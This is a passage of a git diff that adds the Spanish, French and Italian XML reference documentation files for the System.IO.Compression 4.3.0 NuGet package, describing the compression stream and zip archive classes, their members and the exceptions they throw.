secuencia subyacente admite operaciones de escritura y no está cerrada; en caso contrario, false. + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + La implementación actual de este método no tiene funcionalidad. + La secuencia está cerrada. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Introduce varios bytes descomprimidos leídos en la matriz de bytes especificada. + Número de bytes leídos de la matriz de bytes. + Matriz para almacenar los bytes descomprimidos. + Desplazamiento de bytes en donde se colocarán los bytes leídos. + Número máximo de bytes descomprimidos que se van a leer. + El valor de es null. + El valor era Compress cuando se creó el objeto.o bien La secuencia subyacente no admite operaciones de lectura. + + o es menor que cero.o bien longitud menos el punto inicial del índice es menor que . + El formato de los datos no es válido. + La secuencia está cerrada. + + + Esta operación no se admite y siempre produce una excepción . + Un valor largo. + Ubicación en la secuencia. + Uno de los valores de . + Esta propiedad no se admite en esta secuencia. + + + Esta operación no se admite y siempre produce una excepción . + Longitud de la secuencia. + Esta propiedad no se admite en esta secuencia. + + + Escribe los bytes comprimidos en la secuencia subyacente de la matriz de bytes especificada. + Búfer que contiene los datos que se van a comprimir. + Desplazamiento de bytes en donde se leerán los bytes. + Número máximo de bytes que se pueden escribir. + + + Proporciona los métodos y propiedades que permiten comprimir y descomprimir secuencias. + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados. + Secuencia en la que se van a escribir los datos comprimidos. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia en la que se van a escribir los datos comprimidos. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + true para mantener el objeto de secuencia abierto después de desechar el objeto ; en caso contrario, false. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados. + Secuencia en la que se escriben los datos comprimidos o descomprimidos. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + El valor de es null. + + no es válida valor de enumeración.o bien es y es false.o bien es y es false. + + + Inicializa una nueva instancia de la clase usando la secuencia y modo de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia en la que se escriben los datos comprimidos o descomprimidos. + Uno de los valores de la enumeración que indica si se debe comprimir o descomprimir la secuencia. + true para mantener la secuencia abierta después de desechar el objeto ; en caso contrario, false. + El valor de es null. + + no es válida valor.o bien es y es false.o bien es y es false. + + + Obtiene una referencia a la secuencia subyacente. + Un objeto de secuencia que representa la secuencia subyacente. + La secuencia subyacente está cerrada. + + + + + + Obtiene un valor que indica si la secuencia admite operaciones de lectura mientras se descomprime un archivo. + true si el valor de es Decompress, y la secuencia subyacente admite operaciones de lectura y no está cerrada; en caso contrario, false. + + + + + + Obtiene un valor que indica si la secuencia admite operaciones de búsqueda. + false en todos los casos. + + + Obtiene un valor que indica si la secuencia admite operaciones de escritura. + true si el valor de es Compress y la secuencia subyacente admite operaciones de escritura y no está cerrada; en caso contrario, false. + + + + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + La implementación actual de este método no tiene funcionalidad. + La secuencia está cerrada. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Esta propiedad no se admite en esta secuencia. + + + + + + Introduce varios bytes descomprimidos leídos en la matriz de bytes especificada. + El número de bytes que se han descomprimido en la matriz de bytes.Si se ha llegado al final de la secuencia, se devuelve cero o el número de bytes leídos. + Matriz que se utiliza para almacenar los bytes descomprimidos. + Desplazamiento de bytes en donde se colocarán los bytes leídos. + Número máximo de bytes descomprimidos que se van a leer. + El valor de es null. + El valor era Compress cuando se creó el objeto.o bienLa secuencia subyacente no admite operaciones de lectura. + + o es menor que cero.o bien longitud menos el punto inicial del índice es menor que . + El formato de los datos no es válido. + La secuencia está cerrada. + + + Esta propiedad no se admite y siempre produce una excepción . + Un valor largo. + Ubicación en la secuencia. + Uno de los valores de . + Esta propiedad no se admite en esta secuencia. + + + Esta propiedad no se admite y siempre produce una excepción . + Longitud de la secuencia. + Esta propiedad no se admite en esta secuencia. + + + Escribe los bytes comprimidos en la secuencia subyacente de la matriz de bytes especificada. + Búfer que contiene los datos que se van a comprimir. + Desplazamiento de bytes en donde se leerán los bytes. + Número máximo de bytes que se pueden escribir. + La operación de escritura no se puede realizar porque la secuencia está cerrada. + + + Representa un paquete de archivos comprimidos en formato de archivo zip. + + + Inicializa una nueva instancia de la clase a partir de la secuencia especificada. + Secuencia que contiene el archivo que se va a leer. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Inicializa una nueva instancia de la clase a partir de la secuencia especificada y con el modo especificado. + Flujo de entrada o de salida. + Uno de los valores de enumeración que indica si el archivo zip se usa para leer, crear o actualizar entradas. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inicializa una nueva instancia de la clase en el flujo especificado para el modo especificado y, opcionalmente, deja el flujo abierto. + Flujo de entrada o de salida. + Uno de los valores de enumeración que indica si el archivo zip se usa para leer, crear o actualizar entradas. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inicializa una nueva instancia de la clase en el flujo especificado para el modo especificado, usa la codificación especificada para los nombres de entrada y opcionalmente deja el flujo abierto. + Flujo de entrada o de salida. + Uno de los valores de enumeración que indica si el archivo zip se usa para leer, crear o actualizar entradas. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + Codificación que se va a usar al leer o escribir nombres de entrada en este archivo.Especifique un valor para este parámetro únicamente cuando se necesite una codificación para la interoperabilidad con herramientas y bibliotecas de archivos zip que no admiten la codificación UTF-8 para los nombres de entrada. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Crea una entrada vacía en el archivo zip con la ruta de acceso y el nombre de entrada especificados. + Una entrada vacía en el archivo zip. + Ruta de acceso, relativa a la raíz del archivo, que especifica el nombre de la entrada que se va a crear. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Crea una entrada vacía en el archivo zip con el nombre de entrada y el nivel de compresión especificados. + Una entrada vacía en el archivo zip. + Ruta de acceso, relativa a la raíz del archivo, que especifica el nombre de la entrada que se va a crear. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al crear la entrada. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Libera los recursos utilizados por la instancia actual de la clase . + + + Llamado por los métodos y para liberar los recursos no administrados utilizados por la instancia actual de la clase de , y termina opcionalmente de escribir el archivo y libera los recursos administrados. + true para terminar de escribir el archivo y liberar recursos no administrados y administrados; false para liberar solo recursos no administrados. + + + Obtiene la colección de entradas que están actualmente en el archivo zip. + La colección de entradas que están actualmente en el archivo zip. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Recupera un contenedor para la entrada especificada en el archivo zip. + Un contenedor para la entrada especificada en el archivo; null si la entrada no existe en el archivo. + Ruta de acceso, relativa a la raíz del archivo, que identifica la entrada a recuperar. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Obtiene un valor que describe el tipo de acción que el archivo zip puede realizar en las entradas. + Uno de los valores de enumeración que describe el tipo de acción (lectura, creación o actualización) que puede realizar el archivo zip en las entradas. + + + Representa un archivo comprimido incluido en un archivo zip. + + + Obtiene el archivo zip al que pertenece la entrada. + El archivo zip al que pertenece la entrada o null si se ha eliminado la entrada. + + + Obtiene el tamaño comprimido de la entrada en el archivo zip. + Tamaño comprimido de la entrada en el archivo zip. + The value of the property is not available because the entry has been modified. + + + Elimina la entrada del archivo zip. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Obtiene la ruta de acceso relativa de la entrada en el archivo zip. + Ruta de acceso relativa de la entrada en el archivo zip. + + + Obtiene o establece la última vez que se cambió la entrada en el archivo zip. + Última vez que la entrada del archivo zip se cambió. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Obtiene el tamaño descomprimido de la entrada en el archivo zip. + Tamaño descomprimido de la entrada en el archivo zip. + The value of the property is not available because the entry has been modified. + + + Obtiene el nombre de archivo de la entrada en el archivo zip. + Nombre de archivo de la entrada en el archivo zip. + + + Abre la entrada desde el archivo zip. + La secuencia que representa el contenido de la entrada. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Recupera la ruta de acceso relativa de la entrada en el archivo zip. + La ruta de acceso relativa de la entrada, que es el valor almacenado en la propiedad . + + + Especifica los valores para interactuar con entradas de archivo zip. + + + Solo se permite crear nuevas entradas de archivo. + + + Solo se permite leer entradas del archivo. + + + Ambas operaciones de lectura y escritura se permiten para las entradas del archivo. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netcore50/fr/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netcore50/fr/System.IO.Compression.xml new file mode 100644 index 0000000..4c3bfb3 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netcore50/fr/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + + Spécifie les valeurs qui indiquent si une opération de compression souligne la rapidité ou la taille de compression. + + + L'opération de compression doit s'exécuter aussi rapidement que possible, même si le fichier résultant n'est pas compressé de manière optimale. + + + Aucune compression ne doit être exécutée sur le fichier. + + + L'opération de compression doit être compressée de manière optimale, même si elle prend plus de temps. + + + Spécifie s'il faut compresser ou décompresser le flux sous-jacent. + + + Compresse le flux sous-jacent. + + + Décompresse le flux sous-jacent. + + + Fournit des méthodes et des propriétés pour compresser et décompresser des flux à l'aide de l'algorithme Deflate. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés. + Flux à compresser. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux à compresser. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + true pour maintenir l'objet de flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés. + Flux à compresser ou à décompresser. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + + a la valeur null. + + n'est pas une valeur valide.ou est et est false.ou est et est false. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux à compresser ou à décompresser. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + + n'est pas une valeur valide.ou est et est false.ou est et est false. + + + Obtient une référence au flux sous-jacent. + Objet de flux qui représente le flux sous-jacent. + Le flux sous-jacent est fermé. + + + Obtient une valeur indiquant si le flux prend en charge la lecture pendant la décompression d'un fichier. + true si la valeur est Decompress, que le flux sous-jacent est ouvert et qu'il prend en charge la lecture ; sinon, false. + + + Obtient une valeur indiquant si le flux prend en charge la recherche. + false dans tous les cas. + + + Obtient une valeur indiquant si le flux prend en charge l'écriture. + true si la valeur de est Compress, que le flux sous-jacent prend en charge l'écriture et qu'il n'est pas fermé ; sinon, false. + + + Libère les ressources non managées utilisées par et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + L'implémentation actuelle de cette méthode n'a aucune fonctionnalité. + Le flux est fermé. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Lit un certain nombre d'octets décompressés dans le tableau d'octets spécifié. + Nombre d'octets qui ont été lus dans le tableau d'octets. + Tableau utilisé pour stocker les octets décompressés. + Dans , décalage d'octet auquel les octets lus seront placés. + Nombre maximal d'octets décompressés à lire. + + a la valeur null. + La valeur était Compress lorsque l'objet a été créé.ou Le flux sous-jacent ne prend pas en charge la lecture. + + ou est inférieur à zéro.ouLa longueur de moins le point de départ de l'index est inférieure à . + Le format des données n'est pas valide. + Le flux est fermé. + + + Cette opération n'est pas prise en charge et lève toujours . + Valeur Long. + Emplacement dans le flux. + Une des valeurs de . + Cette propriété n'est pas prise en charge sur ce flux. + + + Cette opération n'est pas prise en charge et lève toujours . + Longueur du flux. + Cette propriété n'est pas prise en charge sur ce flux. + + + Écrit les octets compressés dans le flux sous-jacent à partir du tableau d'octets spécifié. + Mémoire tampon qui contient les données à compresser. + Dans , décalage d'octet à partir duquel les octets seront lus. + Nombre maximal d'octets à écrire. + + + Fournit les méthodes et les propriétés utilisées pour compresser et décompresser des flux. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés. + Flux dans lequel écrire les données compressées. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du niveau de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux dans lequel écrire les données compressées. + L'une des valeurs d'énumération qui indique s'il faut mettre l'accent sur la rapidité et l'efficacité de compression en compressant le flux de données. + true pour maintenir l'objet de flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + Le flux ne prend pas en charge les opérations d'écriture telles que la compression.(La propriété sur l'objet de flux est false.) + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés. + Flux dans lequel les données compressées ou décompressées sont écrites. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + + a la valeur null. + + n'est pas une valeur d'énumération valide.ou est et est false.ou est et est false. + + + Initialise une nouvelle instance de la classe à l'aide du flux et du mode de compression spécifiés, et permet éventuellement de laisser le flux ouvert. + Flux dans lequel les données compressées ou décompressées sont écrites. + L'une des valeurs d'énumération qui indique s'il faut compresser ou décompresser le flux. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + + a la valeur null. + + n'est pas une valeur valide.ou est et est false.ou est et est false. + + + Obtient une référence au flux sous-jacent. + Objet de flux qui représente le flux sous-jacent. + Le flux sous-jacent est fermé. + + + + + + Obtient une valeur indiquant si le flux prend en charge la lecture pendant la décompression d'un fichier. + true si la valeur de est Decompress,, que le flux sous-jacent prend en charge la lecture et qu'il n'est pas fermé ; sinon, false. + + + + + + Obtient une valeur indiquant si le flux prend en charge la recherche. + false dans tous les cas. + + + Obtient une valeur indiquant si le flux prend en charge l'écriture. + true si la valeur de est Compress, que le flux sous-jacent prend en charge l'écriture et qu'il n'est pas fermé ; sinon, false. + + + + + + Libère les ressources non managées utilisées par l'objet et libère éventuellement les ressources managées. + true pour libérer les ressources managées et non managées ; false pour ne libérer que les ressources non managées. + + + L'implémentation actuelle de cette méthode n'a aucune fonctionnalité. + Le flux est fermé. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Cette propriété n'est pas prise en charge sur ce flux. + + + + + + Lit un certain nombre d'octets décompressés dans le tableau d'octets spécifié. + Nombre d'octets qui ont été décompressés dans le tableau d'octets.Si la fin du flux a été atteinte, zéro ou le nombre d'octets lus est retourné. + Tableau utilisé pour décompresser les octets. + Dans , décalage d'octet auquel les octets lus seront placés. + Nombre maximal d'octets décompressés à lire. + + a la valeur null. + La valeur était Compress lorsque l'objet a été créé.ouLe flux sous-jacent ne prend pas en charge la lecture. + + ou est inférieur à zéro.ouLa longueur de moins le point de départ de l'index est inférieure à . + Le format des données n'est pas valide. + Le flux est fermé. + + + Cette propriété n'est pas prise en charge et lève toujours . + Valeur Long. + Emplacement dans le flux. + Une des valeurs de . + Cette propriété n'est pas prise en charge sur ce flux. + + + Cette propriété n'est pas prise en charge et lève toujours . + Longueur du flux. + Cette propriété n'est pas prise en charge sur ce flux. + + + Écrit les octets compressés dans le flux sous-jacent à partir du tableau d'octets spécifié. + Mémoire tampon qui contient les données à compresser. + Dans , décalage d'octet à partir duquel les octets seront lus. + Nombre maximal d'octets à écrire. + L'opération d'écriture ne peut pas être exécutée car le flux est fermé. + + + Représente un package de fichiers compressés au format d'archivage zip. + + + Initialise une nouvelle instance de la classe à partir du flux spécifié. + Flux qui contient l'archive à lire. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Initialise une nouvelle instance de la classe à partir du flux spécifié et avec le mode spécifié. + Flux de sortie ou d'entrée. + Une des valeurs d'énumération qui indique si l'archive zip est utilisée pour lire, créer ou mettre à jour des entrées. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialise une nouvelle instance de la classe sur le flux de données spécifié pour le mode spécifié, et laisse éventuellement le flux ouvert. + Flux de sortie ou d'entrée. + Une des valeurs d'énumération qui indique si l'archive zip est utilisée pour lire, créer ou mettre à jour des entrées. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialise une nouvelle instance de la classe sur le flux spécifié pour le mode spécifié, utilise l'encodage spécifié pour les noms d'entrée, et permet éventuellement de laisser le flux ouvert. + Flux de sortie ou d'entrée. + Une des valeurs d'énumération qui indique si l'archive zip est utilisée pour lire, créer ou mettre à jour des entrées. + true pour maintenir le flux ouvert après avoir supprimé l'objet  ; sinon, false. + Encodage à utiliser lors de la lecture ou de l'écriture des noms d'entrée dans cette archive.Spécifie une valeur pour ce paramètre seulement quand un encodage est obligatoire pour l'interopérabilité avec les outils et les bibliothèques d'archivage zip qui ne prennent pas en charge l'encodage UTF-8 pour les noms d'entrée. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Crée une entrée vide qui a le chemin d'accès et le nom d'entrée spécifiés dans l'archive zip. + Entrée vide dans l'archive zip. + Chemin d'accès relatif à la racine de l'archive, qui spécifie le nom de l'entrée à créer. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Crée une entrée vide qui a le nom d'entrée et le niveau de compression spécifiés dans l'archive zip. + Entrée vide dans l'archive zip. + Chemin d'accès relatif à la racine de l'archive, qui spécifie le nom de l'entrée à créer. + Une des valeurs d'énumération qui indique s'il faut privilégier la rapidité ou l'efficacité de la compression lors de la création de l'entrée. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Libère les ressources utilisées par l'instance actuelle de la classe . + + + Appelée par les méthodes et pour libérer les ressources non managées utilisées par l'instance actuelle de la classe , et éventuellement finit d'écrire l'archive et libère les ressources managées. + true pour finir l'écriture de l'archive et libérer les ressources managées et non managées ; false pour libérer seulement des ressources non managées. + + + Obtient la collection d'entrées figurant actuellement dans l'archive zip. + Collection d'entrées figurant actuellement dans l'archive zip. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Récupère un wrapper pour l'entrée spécifiée dans l'archive zip. + Wrapper pour l'entrée spécifiée dans l'archive ; null si l'entrée n'existe pas dans l'archive. + Chemin d'accès relatif à la racine de l'archive, qui identifie l'entrée à récupérer. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Obtient une valeur qui décrit le type d'action que l'archive zip peut effectuer sur des entrées. + Une des valeurs d'énumération qui décrit le type d'action (lecture, création ou mise à jour) que l'archive zip peut effectuer sur les entrées. + + + Représente un fichier compressé dans une archive zip. + + + Obtient l'archive zip à laquelle l'entrée appartient. + Archive zip à laquelle l'entrée appartient, ou null si l'entrée a été supprimée. + + + Obtient la taille compressée de l'entrée dans l'archive zip. + Taille compressée de l'entrée dans l'archive zip. + The value of the property is not available because the entry has been modified. + + + Supprime l'entrée de l'archive zip. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Obtient le chemin d'accès relatif de l'entrée dans l'archive zip. + Chemin d'accès relatif de l'entrée dans l'archive zip. + + + Obtient ou définit la date de dernière modification de l'entrée dans l'archive zip. + Date/heure à laquelle l'entrée a été modifiée pour la dernière fois dans l'archive zip. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Obtient la taille décompressée de l'entrée dans l'archive zip. + Taille décompressée de l'entrée dans l'archive zip. + The value of the property is not available because the entry has been modified. + + + Obtient le nom du fichier de l'entrée dans l'archive zip. + Nom de fichier de l'entrée dans l'archive zip. + + + Ouvre l'entrée à partir de l'archive zip. + Flux qui représente le contenu de l'entrée. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Récupère le chemin d'accès relatif de l'entrée dans l'archive zip. + Chemin d'accès relatif de l'entrée, qui est la valeur stockée dans la propriété . + + + Spécifie les valeurs pour interagir avec les entrées d'archive ZIP. + + + Seule la création de nouvelles entrées d'archivage est autorisée. + + + Seule la lecture des entrées d'archivage est autorisée. + + + Les opérations de lecture et d'écriture sont autorisées pour les entrées d'archivage. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netcore50/it/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netcore50/it/System.IO.Compression.xml new file mode 100644 index 0000000..79fddbe --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netcore50/it/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + + Specifica i valori che indicano se un'operazione di compressione privilegia le dimensioni di compressione o la velocità. + + + L'operazione di compressione deve essere completata il più rapidamente possibile, anche se il file risultante non è compresso in modo ottimale. + + + Non deve essere eseguita alcuna compressione del file. + + + L'operazione di compressione deve essere compressa in modo ottimale, anche se l'operazione richiede più tempo per il completamento. + + + Specifica se comprimere o decomprimere il flusso sottostante. + + + Comprime il flusso sottostante. + + + Decomprime il flusso sottostante. + + + Fornisce metodi e proprietà per la compressione e la decompressione dei flussi mediante l'algoritmo Deflate. + + + Inizializza una nuova istanza della classe usando il livello di compressione del flusso specificato. + Flusso da comprimere. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una nuova istanza della classe usando il livello di compressione del flusso specificato. Facoltativamente mantiene aperto il flusso. + Flusso da comprimere. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + true per mantenere l'oggetto flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. + Flusso da comprimere o decomprimere. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + + è null. + + non è un valore di valido.-oppure- è e è false.-oppure- è e è false. + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. Facoltativamente mantiene aperto il flusso. + Flusso da comprimere o decomprimere. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + + non è un valore di valido.-oppure- è e è false.-oppure- è e è false. + + + Ottiene un riferimento al flusso sottostante. + Oggetto flusso che rappresenta il flusso sottostante. + Il flusso sottostante è chiuso. + + + Ottiene un valore che indica se il flusso supporta la lettura durante la decompressione di un file. + true se il valore di è Decompress e il flusso sottostante è aperto e supporta la lettura; in caso contrario, false. + + + Ottiene un valore che indica se il flusso supporta la ricerca. + false in tutti i casi. + + + Ottiene un valore che indica se il flusso supporta la scrittura. + true se il valore di è Compress e il flusso sottostante non è chiuso e supporta la scrittura; in caso contrario, false. + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + L'implementazione corrente di questo metodo non presenta alcuna funzionalità. + Il flusso è chiuso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Legge un numero di byte decompressi nella matrice di byte specificata. + Numero di byte letti nella matrice di byte. + Matrice per archiviare i byte decompressi. + Offset dei byte in in corrispondenza del quale cui verranno inseriti i byte letti. + Numero massimo di byte decompressi da leggere. + + è null. + Al momento della creazione dell'oggetto, il valore di era Compress.-oppure- Il flusso sottostante non supporta la lettura. + + o è minore di zero.-oppure-La lunghezza di meno il punto iniziale dell'indice è minore di . + Il formato dei dati non è valido. + Il flusso è chiuso. + + + Questa operazione non è supportata e genera sempre un'eccezione . + Valore long. + Posizione all'interno del flusso. + Uno dei valori di . + Questa proprietà non è supportata su questo flusso. + + + Questa operazione non è supportata e genera sempre un'eccezione . + Lunghezza del flusso. + Questa proprietà non è supportata su questo flusso. + + + Scrive i byte compressi nel flusso sottostante dalla matrice di byte specificata. + Buffer contenente i dati da comprimere. + Offset dei byte in da cui verranno letti i byte. + Numero massimo di byte da scrivere. + + + Fornisce i metodi e le proprietà usate per comprimere e decomprimere i flussi. + + + Inizializza una nuova istanza della classe usando il livello di compressione del flusso specificato. + Flusso in cui scrivere i dati compressi. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una nuova istanza della classe usando il livello di compressione del flusso specificato. Facoltativamente mantiene aperto il flusso. + Flusso in cui scrivere i dati compressi. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + true per mantenere l'oggetto flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. + Flusso in cui vengono scritti i dati compressi e decompressi. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + + è null. + + non è un valore dell'enumerazione valido.-oppure- è e è false.-oppure- è e è false. + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. Facoltativamente mantiene aperto il flusso. + Flusso in cui vengono scritti i dati compressi e decompressi. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + + non è un valore di valido.-oppure- è e è false.-oppure- è e è false. + + + Ottiene un riferimento al flusso sottostante. + Oggetto flusso che rappresenta il flusso sottostante. + Il flusso sottostante è chiuso. + + + + + + Ottiene un valore che indica se il flusso supporta la lettura durante la decompressione di un file. + true se il valore di è Decompress, e il 